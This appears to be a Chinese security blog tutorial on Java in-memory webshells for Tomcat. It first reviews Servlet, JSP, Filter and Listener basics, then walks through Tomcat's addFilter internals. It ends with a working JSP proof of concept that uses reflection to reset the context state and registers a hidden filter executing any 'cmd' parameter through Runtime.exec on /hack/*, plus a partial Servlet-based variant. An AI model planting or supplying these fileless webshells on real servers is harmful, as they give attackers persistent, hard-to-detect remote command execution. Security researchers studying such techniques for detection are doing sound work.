Java内存马1-传统web内存马
1、前置知识(1)Tomcat
Tomcat是一个开源的、轻量级的、用于Java Servlet和JavaServer Pages(JSP)的Web应用程序服务器。它是Apache软件基金会的一个项目,也是最流行的Servlet容器之一,适用于开发和部署各种类型的Java Web应用程序。
Tomcat负责管理Servlet的生命周期,包括加载、初始化、调用和销毁。当Tomcat接收到一个HTTP哀求时,它会根据哀求的URL路径找到对应的Servlet,并根据需要实例化和初始化这个Servlet,然后调用它的service()方法处理哀求。在Servlet容器关闭时,Tomcat会销毁所有的Servlet实例,释放资源。
(2)Servlet
Servlet是Java编写的服务器端程序,用于处理哀求和生成响应。Servlet是javaEE规范之一。Servlet程序与Filter过滤器、Listener监听器并称为三大组件。在编写javaWeb应用程序时,通常使用Servlet的子类HttpServlet来实现对HTTP哀求的处理。
https://gitee.com/ambulance10/pic/raw/master/img/202403202024807.png
Servlet的生命周期:
(1)构造 servlet,然后使用init 方法将其初始化。
(2)处理来自客户端的对 service 方法的所有调用。
(3)从服务中取出 servlet,然后使用 destroy 方法销毁它,末了进行垃圾回收并停止它。
//实现Servlet接口的类
@WebServlet(name = "MyServlet", value = "/My-servlet")
public class HelloServlet implements Servlet {
/**
* @param servletConfig
* @throws ServletException
*/
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
System.out.printf("hello! Srevlet被访问了");
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}package com.example.mshell;
//给servlet程序配置访问地址
@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {
private String message;
public void init() {
message = "Hello World!";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>" + message + "</h1>");
out.println("</body></html>");
}
public void destroy() {
}
}ServletContext是一个接口,表示Servlet上下文对象,其实现类为ApplicationContextFacade和ApplicationContext;一个web工程只有一个ServletContext对象实例;ServletContext是一个域对象;
ServletContext的声明周期与web工程一致,随着web工程的创建而创建,停止而消失;
域对象是可以向Map一样存取数据的对象,这里的域指定是存取对象的操纵范围;
存数据方法取数据方法删除数据方法Mapput()get()remove()域对象setAttribute()getAttribute()removeAttribute()ServletContext接口的四个常见作用:
(1)像Map一样存取数据(Sting-object)
(2)获取web.xml中配置的上下文参数context-param
(3)获取工程部署后服务器上web工程的绝对路径(常用于获取工程内资源的绝对路径)
(4)获取当前工程路径
public class ServletCt extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// super.doGet(req, resp);
ServletContext st = this.getServletContext();
System.out.println("context-param-user:" + st.getInitParameter("user"));
System.out.println("工程路径:" + st.getContextPath());
System.out.println("工程部署路径:" + st.getRealPath("/"));
System.out.println("资源1.png的绝对路径" + st.getRealPath("/images/1.png"));
st.setAttribute("key", "value");
st.setAttribute("?", "?");
st.removeAttribute("?");
System.out.println(st.getAttribute("key"));
System.out.println(st.getAttribute("?"));
}
}(3)JSP
JSP(JavaServerPages)是一种用于开发动态Web内容的Java技能。与Servlet相比,JSP更注重于将Java代码嵌入到HTML页面中,以便更轻松地生成动态内容。JSP页面通常包含HTML标志和嵌入的Java代码片段,这些代码片段会在服务器端执行,生成最终的HTML内容,然后将其发送给客户端浏览器。
当我们第一次访问一个jsp页面的时间,Tomcat服务器会根据jsp文件生成一个Servlet程序的源文件并且编译成.class字节码程序。观察源码可以发现其底层回传数据的逻辑还是通过HttpServletResponse(用于返回响应的类,通常与HttpServletRequest一起使用)下writer对象的的write方法将数据返回给客户端;
JSP页面中的HTML部分会被转换成Java代码中的字符串常量,而Java代码部分则直接保留。我们可以在CATALINA_BASE/work/Catalina 目录直接找到该文件;
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
<title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<a target="_blank" href="https://www.cnblogs.com/hello-servlet">Hello Servlet</a><br/><br/>
<%
out.print("这是一段java代码");
%>
</body>
</html>https://gitee.com/ambulance10/pic/raw/master/img/202403212301845.png
https://gitee.com/ambulance10/pic/raw/master/img/202403212301882.png
(4)Filter
Filter是Java Servlet规范中的一种组件,用于在Servlet容器中对HTTP哀求进行预处理和后处理。Filter可以在Servlet处理哀求之前、响应生成之后,对哀求进行拦截、修改和增强。Filter通常用于实现诸如日志记载、字符编码转换、权限控制、数据压缩等功能,对于Web应用程序的开发和管理具有重要意义。与Servlet雷同,Filter也可以通过在web.xml文件中进行配置,大概使用Servlet 3.0中的注解方式来声明和配置。Filter是Java Web开发中非常重要的一个组件,能够提高Web应用程序的灵活性、可维护性和安全性。
package com.example.mshell;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter(urlPatterns = "/admin/*")
public class HelloFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("拦截到了/admin/下的一次请求");
//放行请求
chain.doFilter(request,response);
}
@Override
public void destroy() {
Filter.super.destroy();
}
}(5)Listener
Listener是Java Servlet规范中的一种组件,用于监听Web应用程序中的事件,如ServletContext的创建和销毁、HttpSession的创建和销毁、ServletRequest的创建和销毁等。Listener可以在特定事件发生时执行相应的逻辑,用于监听和响应Web应用程序的生命周期和状态变化。当对应的事件发生时,容器会调用Listener中的相应方法,执行监听逻辑。
package com.example.mshell;
@WebListener
public class HelloListener implements ServletContextListener {
@Override
public void contextInitialized(ServletContextEvent sce) {
// 当ServletContext被初始化时调用该方法
System.out.println("ServletContext Initialized");
}
@Override
public void contextDestroyed(ServletContextEvent sce) {
// 当ServletContext被销毁时调用该方法
System.out.println("ServletContext Destroyed");
}
}(6)内存马
内存马宏观意义上是在内存中被植入的恶意代码,“无文件落地”特性是内存马的一个重要特点,指的是恶意代码不需要写入到被感染系统的磁盘上,而是直接加载到系统的内存中并在其中运行。这种特性使得内存马更难以被传统的安全防护措施检测和清除,因为它们不留下显着的痕迹。
但是内存马在实际攻防中远不止于此,可以使用内存马办理很多棘手的题目,比方webshell文件落地被杀,不能反弹shell、禁止文件写入等等情况,这篇文章中所有的内存马分析都是针对传统Java web型应用,Servlet内存马、Listener内存马、Filter内存马。固然,内存马的类型远不止于此,还有针对各种框架、中间件,亦或是配合反序列化漏洞的内存马。但因为篇幅缘故原由后续再记载。
文章中的项目框架为javaWeb-Maven-Tomcat9.0.80;在Tomcat不同版本中实现代码略有不同,但是根本的思绪是一样的;
本文对Tomcat源码部分不做重点分析,重在了解动态创建三大组件的过程。
2、Filter内存马
在Servlet3.0后,本身就提供了动态注册组件的API接口定义,不过有一些限定,本文的所有内存马也是全部利用Servlet API入手进行内存马的编写;
在ServletContext接口中定义了方法addFilter,就是用来动态的添加一个Filter组件;
但是请注意这里的注释:
异常情况处理:
[*]假如ServletContext已经被初始化,则抛出IllegalStateException。
[*]假如filterName为null大概空字符串,则抛出IllegalArgumentException。
[*]假如ServletContext被通报给了一个不在web.xml大概web-fragment.xml中声明,也没有使用@WebListener注解声明的ServletContextListener的contextInitialized方法,则抛出UnsupportedOperationException。
处理这些异常情况是一项重要的任务;
https://gitee.com/ambulance10/pic/raw/master/img/202403212030374.png
具体的实现在ApplicationContext中体现:
private FilterRegistration.Dynamic addFilter(String filterName, String filterClass, Filter filter)
throws IllegalStateException {
//filterName不能为空
if (filterName == null || filterName.equals("")) {
throw new IllegalArgumentException(sm.getString("applicationContext.invalidFilterName", filterName));
}
//检查applicathion处于何种状态
// TODO Spec breaking enhancement to ignore this restriction
checkState("applicationContext.addFilter.ise");
//依据filterName查找是否有其对应的findFilterDef
FilterDef filterDef = context.findFilterDef(filterName);
// Assume a 'complete' FilterRegistration is one that has a class and
// a name
//下面是一系列检查和初始化工作 不是很重要
if (filterDef == null) {
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
context.addFilterDef(filterDef);
} else {
if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
return null;
}
}
if (filter == null) {
filterDef.setFilterClass(filterClass);
} else {
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
}
//创建一个ApplicationFilterRegistration
return new ApplicationFilterRegistration(filterDef, context);
}https://gitee.com/ambulance10/pic/raw/master/img/202403212047589.png
这里首先就需要通过checkState函数,它用来检查当前context的状态是否为STARTING_PREP,“STARTING_PREP”代表还未被初始化;其中调用了来自LifecycleBase的getState函数;
而这个state的状态是由Tomcat控制的,当看到web页面的时间就已经经过初始化了,需要反射修改这个值;
可以发现它是一个对象,来自枚举类LifecycleState;https://gitee.com/ambulance10/pic/raw/master/img/202403212051453.png
https://gitee.com/ambulance10/pic/raw/master/img/202403212314873.png
https://gitee.com/ambulance10/pic/raw/master/img/202403212315879.png
第一反应就是通过反射调用setState()方法,来绕过这个限定,发现在StandardContext类中并没有直接的方法声明,而是来到了LifecycleBase的setState方法,随即发现继承关系如下:
https://gitee.com/ambulance10/pic/raw/master/img/202403212209787.png
此外,还发现该方法中调用了setStateInternal方法,最终确定state的值由LifecycleBase中的属性值确定。
https://gitee.com/ambulance10/pic/raw/master/img/202403212210619.png
还有其他的绕过方法比方自行创建FilterDef和FilterConfig, 此处直接通过反射修改这个值;
假设现在通过了这个函数的检查,继承往下分析;
addFilter函数最终会返回一个ApplicationFilterRegistration,跟进这个类中看一眼;
这里有一个addMappingForUrlPatterns,给Filter添加拦截路径;
https://gitee.com/ambulance10/pic/raw/master/img/202403212102182.png
最厥后到StandardContext,这里有个方法filterStart()用于配置和初始化Filter:
https://gitee.com/ambulance10/pic/raw/master/img/202403212104060.png
其实到这里思绪就大抵清晰了,只是有一些边边角角的地方跟一下代码逻辑就好,这里就不再说了,根本流程:
https://gitee.com/ambulance10/pic/raw/master/img/202403212228238.png
demo如下:
<%@ page import="java.io.IOException" %>
<%@ page import="com.example.mshell.HelloFilter" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.EnumSet" %>
<%@ page import="org.apache.catalina.LifecycleState" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.util.LifecycleBase" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
<%!
public class HackFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
try {
String cmd = (String)request.getParameter("cmd");
if (cmd!=null){
Runtime.getRuntime().exec(cmd);
}
} catch (IOException e) {
throw new RuntimeException(e);
}
chain.doFilter(request,response);
}
@Override
public void destroy() {
}
}
%>
<%
HackFilter hackFilter = new HackFilter();
ServletContext servletContext = request.getServletContext();
StandardContext standardContext= null;
try {
//获取StandardContext对象
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(application);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
standardContext= (StandardContext) context1.get(applicationContext);
//修改state
Class<?> lifecycleStateClass= standardContext.getClass().getSuperclass().getSuperclass().getSuperclass();
Field state = lifecycleStateClass.getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext,LifecycleState.STARTING_PREP);
//添加Filter
FilterRegistration.Dynamic applicationFilterRegistration = applicationContext.addFilter("HackFilter", hackFilter);
//恢复容器状态
state.set(standardContext,LifecycleState.STARTED);
//初始化filter
standardContext.filterStart();
//设置拦截路径
EnumSet<DispatcherType> dispatcherTypes = EnumSet.of(DispatcherType.REQUEST);
applicationFilterRegistration.addMappingForUrlPatterns(dispatcherTypes,true,"/hack/*");
} catch (Exception e) {
throw new RuntimeException(e);
}
%>
</html>访问cmd.jsp后访问路径/hack/?cmd=calc;成功弹出盘算器;
https://gitee.com/ambulance10/pic/raw/master/img/202403212238422.png
3、Servlet内存马
根本思绪一样,都是从addXXX入手,直接给出POC;
superclass = standardContext.getClass().getSuperclass().getSuperclass().getSuperclass(); Field state = superclass.getDeclaredField("state"); state.setAccessible(true); state.set(standardContext, LifecycleState.STARTING_PREP); ServletRegistration.Dynamic servletRegistration = applicationContext.addServlet("HackServlet", hackServlet); state.set(standardContext,LifecycleState.STARTED);// loadOnStartup为0大概大于0时,表示容器在应用启动时就加载并初始化这个servlet; servletRegistration.setLoadOnStartup(1); servletRegistration.addMapping("/hackServlet"); } catch (NoSuchFieldException e) { throw new RuntimeException(e); } catch (IllegalAccessException e) { throw new RuntimeException(e); }%
页:
[1]